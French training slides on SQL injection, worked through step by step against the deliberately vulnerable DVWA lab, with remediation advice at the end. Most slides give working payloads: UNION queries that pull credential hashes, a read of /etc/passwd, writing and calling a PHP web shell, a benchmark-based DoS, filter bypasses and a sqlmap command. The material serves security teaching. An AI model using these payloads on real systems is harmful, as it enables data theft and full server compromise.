# Injection SQL

![SQLi](images/sqli/sqlinjection_comics.png "SQLi")

## aka SQLi


### <i class="fa fa-cogs"></i> Principe
* Une application envoie des données
  * non **sanitized** à un interpréteur
* L'attaquant envoie des séquences de texte permettant d'exploiter l'interpréteur visé (**payload**)
  * toutes sources de données peut être utilisées
      * paramètres HTTP, PATH_INFO, cookies, en-têtes HTTP, fichiers uploadés
      * au niveau de la requête [et de la réponse <i class="fa fa-reddit"></i>](http://i.imgur.com/8khrzf9.png)


### <i class="fa fa-user-secret"></i> Que peut on faire?
* Lire des données "protégées"
* Corrompre des données
* Dénis de services
* Lecture / écriture sur le système de fichiers
* Exécution de commandes arbitraires

Note:
- marche pour tout interpréteur LDAP, XML, bash (shellshock)
- détectable aux messages d'erreur en cas d'input invalide
  - SQL universel ce qui rend la faille très populaire
    - au moment de l'exploitation il faut connaître le SGBD poru aller plus loin
      - écriture dans des fichiers
      - passer des commandes via xp_commandshell pour un server MSSQL
- potentielle compromission totale
  - exécution de code
  - backdoor
  - local root exploit


## [Différents types](https://www.linkedin.com/grp/post/36874-130061102)

#### [<i class="fa fa-eye"></i> Error-based](https://www.owasp.org/index.php/SQL_Injection)
* Les messages d'erreur mysql sont accessibles

#### [<i class="fa fa-check-square"></i> Boolean (Blind)](https://www.owasp.org/index.php/Blind_SQL_Injection)

* Pas de message d'erreur
* Un comportement différent selon que la **payload** est exécutée ou non
  * nécessite en général d'itérer
    * avec un LIKE par exemple pour déduire lettre par lettre


## [Différents types](https://www.linkedin.com/grp/post/36874-130061102)

#### [<i class="fa fa-eye-slash"></i> (true) Blind](https://www.owasp.org/index.php/Blind_SQL_Injection)

* Pas de message d'erreur
* Pas de moyen de savoir si la **payload** a été éxécutée ou non
  * cas d'une redirection systématique
  * nécessite en général d'itérer
  * avec un LIKE par exemple pour déduire lettre par lettre

Note:
- boolean type: formulaire d'authentification
  - erreur en cas d'échec
    - drapeau rouge
  - home page en cas de succés
    - drapeau vert
  - attention une 404 ou une 500 peut être le drapeau vert
- blind typique
  - accès à un contenu privé www.example.org/display.php?item=1'
    - redirige systématiquement sur la page d'authentification
      - l'idée est de charger la requête et de chronomtérer le temps d'exécution
        - une requête invalide ne sera pas exécuté donc le temps de réponse sera inférieur au temps d'une requêt valide qui sera exécuté
        - Benchmark() MySQL
        - WaitFor() MSSQ


## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based

L'idée est d'utiliser les commentaires pour terminer prématurément l'exécution du SQL

```php
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
   $first = mysql_result($result,$i,"first_name");
   $last = mysql_result($result,$i,"last_name");
   echo '<pre>';
   echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
   echo '</pre>';
   $i++;
}
```


## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based

détectable en tentant une simple **'** en entrée

```http
http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit#
```

produit

```
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for
the right syntax to use near ''''' at line 1
```

intéressant!


## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/)  

sensible à (version human readable)

```http
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
```

soit en version encodée

```http
http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
```

affiche la liste de tous les utilisateurs

** <i class="fa fa-bomb"></i> on peut mieux faire !! **

Note:
- je donne les urls en mode human readable
  - les valeurs sont à copier dans le champs
    - PAS dans l'url
- se détecte avec juste ' ou en fuzzant plus large
  - fuzzdb/attack-playloads/sql-injection/detect/MySQL.fuzz.txt
  - fuzzdb/attack-playloads/attack-payloads/all-attacks
    - tester avec Burp
    - avec la hackbar
    - mettre un flag grep SQL
    - filtrer par length, error, et flag SQL


## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/)  

```http
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 5#&Submit=Submit
```

affiche un message d'erreur

```http
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit
```

est exécutée

```http
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 3#&Submit=Submit
```

affiche un message d'erreur

**<i class="fa fa-trophy"></i> par dichotomie**

**il y a 2 champs dans la clause SELECT**

Note:
- va nous permettre d'étendre les requêtes à d'autres tables


## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  

```http
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1  UNION SELECT NULL, user()#&Submit=Submit
```

affiche l'utilisateur courant (mysqlusername@mysqlhost) à la fin de la liste des users

```http
http://dv.wa/vulnerabilities/sqli/?id=' or 0=0 UNION SELECT NULL, database()#&Submit=Submit
```

affiche le nom de la base de données à la fin de la liste des users


## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  

```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables#&Submit=Submit
```

* affiche toutes les tables via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
  * quand on fait de l'**UNION** de deux tables distincts on parle de **Cross table**

```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_name LIKE '%user%'#&Submit=Submit
```

affiche toutes les tables qui contiennent user


## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  

```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users'#&Submit=Submit
```

* affiche toutes les champs de la table user

```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit
```

* affiche toutes les valeurs des champs *user* et *password* de la table user

  * reste à brute forcer


## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  

```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, benchmark(5000000, encode('MSG', 'pass-phrase')) FROM users#&Submit=Submit
```

* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
  * DoS
  * utile pour les vraies blind SQLi


## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  

```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/etc/passwd")#&Submit=Submit
```

affiche toutes le contenu du fichier /etc/passwd

```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit
```

écriture du fichier shell.php dans le système de fichiers

```http
http://dv.wa/hackable/uploads/shell.php?cmd=ls
```
execution de commandes systèmes avec les privilèges du thread apache


## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)

<i class="fa fa-exclamation-circle"></i> le code vulnérable a changé entre low et medium

* utilisation de la fonction [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
  * ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, \, ', " et \x1a.  
    * contournable en appliquant l'encodage HTTP (HTML URL Encoding) aux caractères injectés


## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)

```http
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
```

devient

```http
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
```


## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)

donc l'injection du niveau low

```http
' OR user_id > 0#
```

devient pour fonctionner au niveau medium

```http
1 OR user_id > 0#
```
devient une fois encodée

```http
1%20OR%20user_id%20%3E%200
```

et s'injecte directement via l'url

```http
http://dv.wa/vulnerabilities/sqli/?id=1%20OR%20user_id%20%3E%200&Submit=Submit
```

Note:
- à saisir directement dans l'url
- utiliser plutôt l'encoder de burp
- sinon hackbar à comparer
- https://www.information-security.fr/dvwa-sql-injection-solutions-protections/


## [SQLmap](http://sqlmap.org/)

* Fait tous le boulot à votre palce
  * une ligne de commmande
    * affiche des résultats propres
    * abstrait
      * le moteur de base de données
      * les différentes techniques d'injections

```http
sqlmap --url "http://dv.wa/vulnerabilities/sqli/?id=1&Submit=Submit#;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables
```

<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session


### [<i class="fa fa-check-square"></i> SQLi (Blind) - security low](http://dv.wa/vulnerabilities/sqli_blind/)  

* on se concentre sur le user 1337 (id=3)
  * on cherche à deviner son mot de passe

```http
http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE 'a%'#&Submit=Submit
```

n'affiche rien!! en revanche

```http
http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE '8%'#&Submit=Submit
```

affiche

```
ID: 3' AND password LIKE '8%
First name: Hack
Surname: Me
```


## <i class="fa fa-eye-slash"></i> [True Blind SQL Injection](https://www.owasp.org/index.php/Blind_SQL_Injection)

* Si aucun output n'est disponible
  * on ajoute du calcul artificiellement
    * la **payload** est exécutée
      * le temps de réponse = temps de traitement + temps de calcul artificiel
    * la **payload** n'est pas exécutée
      * le temps  de réponse = temps de traitement

problématique similaire à une booléenne

Note:
- discussion sur les vraies blind
- in fine même problème une fois scripter


## <i class="fa fa-medkit"></i> Se préserver

* [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php)
* Utiliser des requêtes préparées
  * PDO, ORM : Doctrine2, Propel
* Être le plus silencieux possibles quant aux requêtes invalides
  * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php)
  * [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php)
* repérer les requêtes suspectes dans les logs

Note:
- TODO regarder si les messages sont désactiables à partir de MySQL


## <i class="fa fa-medkit"></i> Se préserver

* Filtrage par listes blanches
  * caster
    * [intval()](http://php.net/manual/fr/function.intval.php), [floatval()](http://php.net/manual/fr/function.floatval.php), ...
      * si l'id est toujours un entier ...
  * échappement des paramètres de requêtes
    * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)


## <i class="fa fa-medkit"></i> Se préserver

* Web Application Firewall (WAF)
    * [mod_security](https://www.modsecurity.org/)
      * log le POST
    * <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
* Les privilèges de l'utilisateur SQL ont un sens
  * [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file)
  * attention aux permissions sur la base de données
    * information_schema ...
* Changer les préfixes de table des CMS quand c'est possible